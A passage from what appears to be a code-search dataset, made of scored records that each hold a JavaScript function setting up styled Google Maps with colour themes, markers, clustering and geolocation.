{\n featureType: 'poi.park',\n elementType: 'labels.text.fill',\n stylers: [{color: '#6b9a76'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry',\n stylers: [{color: '#38414e'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry.stroke',\n stylers: [{color: '#212a37'}]\n },\n {\n featureType: 'road',\n elementType: 'labels.text.fill',\n stylers: [{color: '#9ca5b3'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry',\n stylers: [{color: '#746855'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry.stroke',\n stylers: [{color: '#1f2835'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'labels.text.fill',\n stylers: [{color: '#f3d19c'}]\n },\n {\n featureType: 'transit',\n elementType: 'geometry',\n stylers: [{color: '#2f3948'}]\n },\n {\n featureType: 'transit.station',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'water',\n elementType: 'geometry',\n stylers: [{color: '#17263c'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [{color: '#515c6d'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.stroke',\n stylers: [{color: '#17263c'}]\n }\n ]\n });\n // The marker, positioned in FRA-Hoechst\n var marker = new google.maps.Marker({\n position: myLatLng,\n map: map,\n // title: \"my office\",\n animation: google.maps.Animation.DROP\n // icon: image\n });\n }", "title": "" }, { "docid": "9308d8fa92042a4a864f8bc7c38cffcf", "score": "0.6520573", "text": "function initMap() {\n var map = new google.maps.Map(document.getElementById('map'), {\n zoom: 6,\n center: initCenter,\n mapTypeControl: false,\n streetViewControl: false,\n styles: [\n {elementType: 'geometry', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.stroke', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.fill', stylers: [{color: '#746855'}]},\n {\n featureType: 'administrative.locality',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'geometry',\n stylers: [{color: '#263c3f'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'labels.text.fill',\n stylers: [{color: '#6b9a76'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry',\n stylers: [{color: '#38414e'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry.stroke',\n stylers: [{color: '#212a37'}]\n },\n {\n featureType: 'road',\n elementType: 'labels.text.fill',\n stylers: [{color: '#9ca5b3'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry',\n stylers: [{color: '#746855'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry.stroke',\n stylers: [{color: '#1f2835'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'labels.text.fill',\n stylers: [{color: '#f3d19c'}]\n },\n {\n featureType: 'transit',\n elementType: 'geometry',\n stylers: [{color: '#2f3948'}]\n },\n {\n featureType: 'transit.station',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'water',\n elementType: 'geometry',\n stylers: [{color: '#17263c'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [{color: '#515c6d'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.stroke',\n stylers: [{color: '#17263c'}]\n }\n ]\n });\n\n var granteeDataFULL = granteeData;\n var pocArray = [];\n var markerArray=[]; \n\n var icon = {\n url: 'http://www.arcencieldeco.com.tn/wp-content/uploads/2015/10/icon.png',\n scaledSize: new google.maps.Size(73, 50),\n origin: new google.maps.Point(0,0),\n anchor: new google.maps.Point(36.5,50)};\n\n var pocIcon = {\n url: 'http://www.arcencieldeco.com.tn/wp-content/uploads/2015/10/icon.png',\n scaledSize: new google.maps.Size(73, 50),\n origin: new google.maps.Point(0,0),\n anchor: new google.maps.Point(36.5,50)};\n\n var clusterIcon = {\n textColor: '#fff',\n //textSize: 14,\n url: 'https://raw.githubusercontent.com/googlemaps/v3-utility-library/master/markerclusterer/images/m1.png', \n height: 52, \n width: 53\n };\n\n var clusterStyles = [\n //3 different types of markers: small, medium, and large are all set to look the same\n clusterIcon, clusterIcon, clusterIcon\n ];\n var mcOptions = {\n styles: clusterStyles,\n maxZoom: 15,\n gridSize: 30,\n imageSizes: [50, 50, 50]\n };\n\n // I'm not using granteeDataFULL['marker'] bc you can't access a whole array \n // of just one array like that and I need to pass in an array to the map() method in addMarkers\n for(i=0;i<granteeDataFULL.length;i++){\n granteeDataFULL[i]['poly']=[];\n granteeDataFULL[i]['Geography'] = granteeDataFULL[i]['Geography'].split(\"; \");\n granteeDataFULL[i]['Year Grant Received'] = granteeDataFULL[i]['Year Grant Received'].split(\"; \");\n granteeDataFULL[i]['Type of Grant Received'] = granteeDataFULL[i]['Type of Grant Received'].split(\"; \");\n for(j=0;j<granteeDataFULL[i]['Type of Grant Received'].length;j++){\n if(granteeDataFULL[i]['Type of Grant Received'][j]==='CIG') granteeDataFULL[i]['Type of Grant Received'][j]='Community Innovation Grant';\n if(granteeDataFULL[i]['Type of Grant Received'][j]==='GP') granteeDataFULL[i]['Type of Grant Received'][j]='Giving Project';\n if(granteeDataFULL[i]['Type of Grant Received'][j]==='FSC') granteeDataFULL[i]['Type of Grant Received'][j]='Fund of the Sacred Circle';\n if(granteeDataFULL[i]['Type of Grant Received'][j]==='SCF') granteeDataFULL[i]['Type of Grant Received'][j]='Social Change Fund';\n if(granteeDataFULL[i]['Type of Grant Received'][j]==='EFBL') granteeDataFULL[i]['Type of Grant Received'][j]='Emergency Fund for Black Lives';\n }\n granteeDataFULL[i]['Description'] = granteeDataFULL[i]['Description'].split(\"; \");\n if(granteeDataFULL[i]['POC led?']==='TRUE') pocArray.push(granteeDataFULL[i]);\n }\n \n var markerClusterer = addMarkers(granteeDataFULL, map, markerArray, icon, mcOptions); \n addPolys(granteeDataFULL, map);\n setGranteeListBox(granteeDataFULL);\n addListeners(granteeDataFULL, markerClusterer.getMarkers(), map);\n addNameListeners(granteeDataFULL, markerClusterer.getMarkers(), map);\n\n /////////////////////////////////////////////////////////////////////////////////////////////////////\n /////////////// INIT BUTTONS /////////////\n /////////////////////////////////////////////////////////////////////////////////////////////////////\n\n var resetButtonControlDiv = document.createElement('div');\n var resetView = new ResetView(resetButtonControlDiv, map);\n resetButtonControlDiv.index = 1;\n map.controls[google.maps.ControlPosition.TOP_RIGHT].push(resetButtonControlDiv);\n\n\n var pocControlDiv = document.createElement('div');\n var pocMap = new PocMap(pocControlDiv, granteeDataFULL, pocArray, map, markerArray, markerClusterer, icon, pocIcon, mcOptions); \n pocControlDiv.index = 1;\n map.controls[google.maps.ControlPosition.TOP_RIGHT].push(pocControlDiv);\n}", "title": "" }, { "docid": "9237784f3a4328629e816582e920421d", "score": "0.6518671", "text": "function initMap() {\n var styledMapType = new google.maps.StyledMapType(\n [\n {\n \"featureType\": \"poi\",\n \"elementType\": \"labels.text\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"poi.business\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"labels.icon\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n }\n ],\n {name: 'Simple'}\n );\n\n var eventMap = document.querySelector('.map');\n var uluru = {\n lat: Number(eventMap.dataset.lat),\n lng: Number(eventMap.dataset.long)\n };\n\n var map = new google.maps.Map(eventMap, {\n center: uluru,\n zoom: 15,\n mapTypeControlOptions: {\n mapTypeIds: ['roadmap', 'satellite', 'hybrid', 'terrain', 'styled_map']\n }\n });\n\n var marker = new google.maps.Marker({\n position: uluru,\n map: map\n });\n\n map.mapTypes.set('styled_map', styledMapType);\n map.setMapTypeId('styled_map');\n}", "title": "" }, { "docid": "bae4565c42b911c64694191fe83fb1a7", "score": "0.64832795", "text": "function initMap() {\n\t\tvar map = new google.maps.Map(document.getElementById('map'), {\n\t\t\tcenter: {lat: 25.9461570, lng: -80.1435150},\n\t\t\tzoom: 15,\n\t\t\tscrollwheel: false,\n\t\t\tdisableDefaultUI: true,\n\t\t\tstyles: [\n\t\t\t\t{elementType: 'geometry', stylers: [{color: '#f2f6fb'}]},\n\t\t\t\t{elementType: 'labels.text.stroke', stylers: [{color: '#b6babf'},{ visibility: 'off' }]},\n\t\t\t\t{elementType: 'labels.text.fill', stylers: [{color: '#000409'}]},\t\n\t\t\t\t{\n\t\t\t\t\tfeatureType: 'water',\n\t\t\t\t\telementType: 'geometry',\n\t\t\t\t\tstylers: [{color: '#0049b0'}]\n\t\t\t\t},\n\t\t\t\t{ \n\t\t\t\t\tfeatureType: 'water',\n\t\t\t\t\telementType: 'labels.text',\n\t\t\t\t\tstylers: [{ color: '#777a80'}]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tfeatureType: 'road',\n\t\t\t\t\telementType: 'geometry',\n\t\t\t\t\tstylers: [{color: '#292d32'}]\n\t\t\t\t},\n\t\t\t\t{ \"featureType\": \"road\", \"elementType\": \"geometry.stroke\", \"stylers\": [ { \"color\": \"#fff\" } ] },\n\t\t\t\t{ \"featureType\": \"road.arterial\", \"elementType\": \"geometry.fill\", \"stylers\": [ { \"visibility\": \"off\" } ] },\n\t\t\t\t{ \"featureType\": \"poi\", \"stylers\": [ { \"visibility\": \"off\" } ] },\n\t\t\t\t{ \"featureType\": \"road\", \"elementType\": \"labels.icon\", \"stylers\": [ { \"visibility\": \"off\" } ] },\n\t\t\t\t{ \"featureType\": \"road.highway\", \"elementType\": \"labels\", \"stylers\": [ { \"visibility\": \"off\" } ] },\n\t\t\t\t{ \"featureType\": \"administrative\", \"elementType\": \"labels\", \"stylers\": [ { \"color\": \"#94989d\" } ] },\n\t\t\t]\n\t\t});\n\t}", "title": "" }, { "docid": "2ff85f70f380887c2eb33d7ddf22bd62", "score": "0.64755327", "text": "function initMap() {\n map = new google.maps.Map(document.getElementById('map'), {\n center: {lat: 43.658757, lng: -79.3797355},\n zoom: 12,\n styles: [\n {elementType: 'geometry', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.stroke', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.fill', stylers: [{color: '#746855'}]},\n {\n featureType: 'administrative.locality',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'geometry',\n stylers: [{color: '#263c3f'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'labels.text.fill',\n stylers: [{color: '#6b9a76'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry',\n stylers: [{color: '#38414e'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry.stroke',\n stylers: [{color: '#212a37'}]\n },\n {\n featureType: 'road',\n elementType: 'labels.text.fill',\n stylers: [{color: '#9ca5b3'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry',\n stylers: [{color: '#746855'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry.stroke',\n stylers: [{color: '#1f2835'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'labels.text.fill',\n stylers: [{color: '#f3d19c'}]\n },\n {\n featureType: 'transit',\n elementType: 'geometry',\n stylers: [{color: '#2f3948'}]\n },\n {\n featureType: 'transit.station',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'water',\n elementType: 'geometry',\n stylers: [{color: '#17263c'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [{color: '#515c6d'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.stroke',\n stylers: [{color: '#17263c'}]\n }\n ]\n });\n var infoWindow = new google.maps.InfoWindow({map: map});\n\n var input = document.getElementById('address');\n var autocomplete = new google.maps.places.Autocomplete(input,{types: ['(cities)']});\n google.maps.event.addListener(address, 'place_changed', function(){\n var place = address.getPlace();\n })\n\n\n // Try HTML5 geolocation.\n if (navigator.geolocation) {\n navigator.geolocation.getCurrentPosition(function(position) {\n var pos = {\n lat: position.coords.latitude,\n lng: position.coords.longitude\n };\n\n infoWindow.setPosition(pos);\n infoWindow.setContent('Location found.');\n map.setCenter(pos);\n showCords(pos);\n runWorker(pos);\n\n var geocoder = new google.maps.Geocoder();\n document.getElementById('submit').addEventListener('click', function() {\n geocodeAddress(geocoder, map);\n\n\n });\n\n document.getElementById('resetLocation').addEventListener('click', function(){\n map.setCenter(pos);\n showCords(pos);\n runWorker(pos);\n });\n\n\n\n }, function() {\n handleLocationError(true, infoWindow, map.getCenter());\n });\n } else {\n // Browser doesn't support Geolocation\n handleLocationError(false, infoWindow, map.getCenter());\n }\n}", "title": "" }, { "docid": "c160da02047f2f6493e2eedcb12f3408", "score": "0.64646333", "text": "function initMap() {\n var map = new google.maps.Map(document.getElementById('map'), {\n zoom: 12,\n center: {lat: 23.159526, lng: 79.913076},\n styles: [\n {\n elementType: 'geometry',\n stylers: [{color: '#fefefe'}]\n },\n {\n elementType: 'labels.icon',\n stylers: [{visibility: 'off'}]\n },\n {\n elementType: 'labels.text.fill',\n stylers: [{color: '#616161'}]\n },\n {\n elementType: 'labels.text.stroke',\n stylers: [{color: '#f5f5f5'}]\n },\n {\n featureType: 'administrative.land_parcel',\n elementType: 'labels.text.fill',\n stylers: [{color: '#bdbdbd'}]\n },\n {\n featureType: 'poi',\n elementType: 'geometry',\n stylers: [{color: '#eeeeee'}]\n },\n {\n featureType: 'poi',\n elementType: 'labels.text.fill',\n stylers: [{color: '#757575'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'geometry',\n stylers: [{color: '#e5e5e5'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'labels.text.fill',\n stylers: [{color: '#9e9e9e'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry',\n stylers: [{color: '#eee'}]\n },\n {\n featureType: 'road.arterial',\n elementType: 'labels.text.fill',\n stylers: [{color: '#3d3523'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry',\n stylers: [{color: '#eee'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'labels.text.fill',\n stylers: [{color: '#616161'}]\n },\n {\n featureType: 'road.local',\n elementType: 'labels.text.fill',\n stylers: [{color: '#9e9e9e'}]\n },\n {\n featureType: 'transit.line',\n elementType: 'geometry',\n stylers: [{color: '#e5e5e5'}]\n },\n {\n featureType: 'transit.station',\n elementType: 'geometry',\n stylers: [{color: '#000'}]\n },\n {\n featureType: 'water',\n elementType: 'geometry',\n stylers: [{color: '#c8d7d4'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [{color: '#b1a481'}]\n }\n ]\n });\n\n var image = 'images/marker.png';\n var beachMarker = new google.maps.Marker({\n position: {lat: 23.159526, lng: 79.913076},\n map: map,\n icon: image\n });\n }", "title": "" }, { "docid": "a53798721645e7e9158dd26354b3e8e1", "score": "0.64500594", "text": "function silver() {\n\n map.setOptions({styles: styles[\"silver\"]});\n\n}", "title": "" }, { "docid": "b9cb670a08eee8ae2b00abf2a1b99654", "score": "0.64399815", "text": "function initMap() {\n // Change the style of map into gray level\n var light_grey_style = [{\"featureType\": \"landscape\", \"stylers\": [{\"saturation\": -100}, {\"lightness\": 65}, {\"visibility\": \"on\"}]}, {\"featureType\": \"poi\", \"stylers\": [{\"saturation\": -100}, {\"lightness\": 51}, {\"visibility\": \"simplified\"}]}, {\"featureType\": \"road.highway\", \"stylers\": [{\"saturation\": -100}, {\"visibility\": \"simplified\"}]}, {\"featureType\": \"road.arterial\", \"stylers\": [{\"saturation\": -100}, {\"lightness\": 30}, {\"visibility\": \"on\"}]}, {\"featureType\": \"road.local\", \"stylers\": [{\"saturation\": -100}, {\"lightness\": 40}, {\"visibility\": \"on\"}]}, {\"featureType\": \"transit\", \"stylers\": [{\"saturation\": -100}, {\"visibility\": \"simplified\"}]}, {\"featureType\": \"administrative.province\", \"stylers\": [{\"visibility\": \"off\"}]}, {\"featureType\": \"water\", \"elementType\": \"labels\", \"stylers\": [{\"visibility\": \"on\"}, {\"lightness\": -25}, {\"saturation\": -100}]}, {\"featureType\": \"water\", \"elementType\": \"geometry\", \"stylers\": [{\"hue\": \"#ffff00\"}, {\"lightness\": -25}, {\"saturation\": -97}]}];\n\n // main map\n map = new google.maps.Map(document.getElementById('map'), {\n zoom: 12,\n center: {lat: map_center.lat, lng: map_center.lng},\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n// styles: light_grey_style,\n disableDefaultUI: true,\n// zoomControl: true,\n// zoomControlOptions: {\n// position: google.maps.ControlPosition.LEFT_CENTER\n// },\n// scaleControl: true\n });\n\n// map.data.setStyle({\n// fillColor: 'blue',\n// fillOpacity: 0.3,\n// strokeColor: 'blue',\n// strokeOpacity: 0.5,\n// strokeWeight: 1\n// });\n// \n// var infowindow = new google.maps.InfoWindow();\n// map.data.addListener('click', function(event) {\n// map.data.revertStyle();\n// infowindow.setContent(\n// \"<strong>Abbr: </strong>\" + event.feature.getProperty('BLDG_ABBR') + \"<br>\" + \n// \"<strong>Full Name: </strong>\" + event.feature.getProperty('BUILDING_N') + \"<br>\" + \n// \"<strong>Area: </strong>\" + (event.feature.getProperty('Shape_Area') * 0.3048 * 0.3048).toFixed(2) + \" m<sup>2</sup>\"\n// );\n// infowindow.setPosition(event.latLng);\n// infowindow.setOptions({pixelOffset: new google.maps.Size(0,-34)});\n// infowindow.open(map);\n// map.data.overrideStyle(event.feature, {strokeWeight: 5});\n// });\n// map.data.addListener('mouseout', function(event) {\n// map.data.revertStyle();\n// infowindow.close();\n// });\n\n // sub-map\n submap = new google.maps.Map(document.getElementById('submap'), {\n zoom: 12,\n center: {lat: map_center.lat, lng: map_center.lng},\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n// styles: light_grey_style,\n disableDefaultUI: true,\n// zoomControl: true,\n// zoomControlOptions: {\n// position: google.maps.ControlPosition.LEFT_CENTER\n// },\n// scaleControl: true\n });\n\n // main map\n dynamicmap = new google.maps.Map(document.getElementById('dynamic_map'), {\n zoom: 12,\n center: {lat: map_center.lat, lng: map_center.lng},\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n// styles: light_grey_style,\n disableDefaultUI: true,\n// zoomControl: true,\n// zoomControlOptions: {\n// position: google.maps.ControlPosition.LEFT_CENTER\n// },\n// scaleControl: true\n });\n\n}", "title": "" }, { "docid": "72b2d79467a2f23ebbf5a83e463839dd", "score": "0.64370865", "text": "function initMap( $el ) {\n\n\t\t// Find marker elements within map.\n\t\tvar $markers = $el.find('.marker');\n\n\t\t// Create gerenic map + styles in night mode.\n\t\tvar mapArgs = {\n\t\t\tzoom : $el.data('zoom') || 16,\n\t\t\tmapTypeId : google.maps.MapTypeId.ROADMAP,\n\t\t\tstyles: [\n\t\t\t\t{\n\t\t\t\t \"elementType\": \"geometry\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#1d2c4d\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"elementType\": \"labels.text.fill\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#8ec3b9\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"elementType\": \"labels.text.stroke\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#1a3646\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"administrative.country\",\n\t\t\t\t \"elementType\": \"geometry.stroke\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#4b6878\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"administrative.land_parcel\",\n\t\t\t\t \"elementType\": \"labels\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"visibility\": \"off\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"administrative.land_parcel\",\n\t\t\t\t \"elementType\": \"labels.text.fill\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#64779e\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"administrative.province\",\n\t\t\t\t \"elementType\": \"geometry.stroke\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#4b6878\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"landscape.man_made\",\n\t\t\t\t \"elementType\": \"geometry.stroke\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#334e87\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"landscape.natural\",\n\t\t\t\t \"elementType\": \"geometry\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#023e58\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"poi\",\n\t\t\t\t \"elementType\": \"geometry\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#283d6a\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"poi\",\n\t\t\t\t \"elementType\": \"labels.text.fill\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#6f9ba5\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"poi\",\n\t\t\t\t \"elementType\": \"labels.text.stroke\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#1d2c4d\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"poi.business\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"visibility\": \"off\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"poi.park\",\n\t\t\t\t \"elementType\": \"geometry.fill\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#023e58\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"poi.park\",\n\t\t\t\t \"elementType\": \"labels.text\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"visibility\": \"off\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"poi.park\",\n\t\t\t\t \"elementType\": \"labels.text.fill\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#3C7680\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road\",\n\t\t\t\t \"elementType\": \"geometry\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#304a7d\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road\",\n\t\t\t\t \"elementType\": \"labels.text.fill\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#98a5be\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road\",\n\t\t\t\t \"elementType\": \"labels.text.stroke\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#1d2c4d\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road.arterial\",\n\t\t\t\t \"elementType\": \"labels\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"visibility\": \"off\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road.highway\",\n\t\t\t\t \"elementType\": \"geometry\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#2c6675\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road.highway\",\n\t\t\t\t \"elementType\": \"geometry.stroke\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#255763\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road.highway\",\n\t\t\t\t \"elementType\": \"labels\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"visibility\": \"off\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road.highway\",\n\t\t\t\t \"elementType\": \"labels.text.fill\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#b0d5ce\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road.highway\",\n\t\t\t\t \"elementType\": \"labels.text.stroke\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#023e58\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road.local\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"visibility\": \"off\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"road.local\",\n\t\t\t\t \"elementType\": \"labels\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"visibility\": \"off\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"transit\",\n\t\t\t\t \"elementType\": \"labels.text.fill\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#98a5be\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"transit\",\n\t\t\t\t \"elementType\": \"labels.text.stroke\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#1d2c4d\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"transit.line\",\n\t\t\t\t \"elementType\": \"geometry.fill\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#283d6a\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"transit.station\",\n\t\t\t\t \"elementType\": \"geometry\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#3a4762\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"water\",\n\t\t\t\t \"elementType\": \"geometry\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#0e1626\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t \"featureType\": \"water\",\n\t\t\t\t \"elementType\": \"labels.text.fill\",\n\t\t\t\t \"stylers\": [\n\t\t\t\t\t{\n\t\t\t\t\t \"color\": \"#4e6d70\"\n\t\t\t\t\t}\n\t\t\t\t ]\n\t\t\t\t}\n\t\t\t ]\n\t\t};\n\t\tvar map = new google.maps.Map( $el[0], mapArgs );\n\n\t\t// Add markers.\n\t\tmap.markers = [];\n\t\t$markers.each(function(){\n\t\t\tinitMarker( $(this), map );\n\t\t});\n\n\t\t// Center map based on markers.\n\t\tcenterMap( map );\n\n\t\t// Return map instance.\n\t\treturn map;\n\t}", "title": "" }, { "docid": "acd8c1067c7e2173fc5f853d008037e3", "score": "0.6429285", "text": "function new_map( $el ) {\r\r\r\n\r\r\r\n // ESTILO\r\r\r\n var mapStyles = [\r\r\r\n {\r\r\r\n \"featureType\": \"all\",\r\r\r\n \"elementType\": \"labels.text.fill\",\r\r\r\n \"stylers\": [\r\r\r\n {\r\r\r\n \"saturation\": 36\r\r\r\n },\r\r\r\n {\r\r\r\n 